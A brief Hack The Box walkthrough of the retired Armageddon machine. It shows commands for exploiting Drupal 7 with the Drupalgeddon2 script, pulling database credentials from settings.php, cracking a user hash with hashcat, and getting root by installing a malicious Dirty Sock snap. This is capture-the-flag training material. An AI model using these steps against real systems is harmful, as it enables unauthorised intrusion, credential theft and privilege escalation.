Hack The Box · Linux Machine
Armageddon
| Name | Armageddon |
|---|---|
| Release date | 27 Mar 2021 |
| Retire date | 24 Jul 2021 |
| OS | Linux |
| Difficulty | Easy - Retired [0] |
| Rated difficulty |  |
| Radar graph |  |
| Creator | bertolis |
| Pentest Workshop PDF | Armageddon.pdf |
Drupalgeddon2
AutoRecon found SSH and Drupal 7 on Apache. Drupal 7.56 was vulnerable to CVE-2018-7600, and the Drupalgeddon2 script produced a web shell.
git clone https://github.com/dreadlocked/Drupalgeddon2
sudo ruby drupalgeddon2.rb http://10.10.10.233
Database credentials and SSH
settings.php exposed the Drupal database account. Querying the users table returned the brucetherealadmin Drupal hash.
mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'use drupal; select * from users;'
sudo hashcat -m 7900 -a 0 hash /usr/share/wordlists/rockyou.txt --forceThe hash cracked to booboo, and password reuse provided SSH access as brucetherealadmin.
Dirty Sock privilege escalation
sudo -l allowed passwordless snap install. A malicious Dirty Sock snap created a local sudo-capable account.
sudo /usr/bin/snap install --devmode installation.snap
su dirty_sock
sudo /bin/bash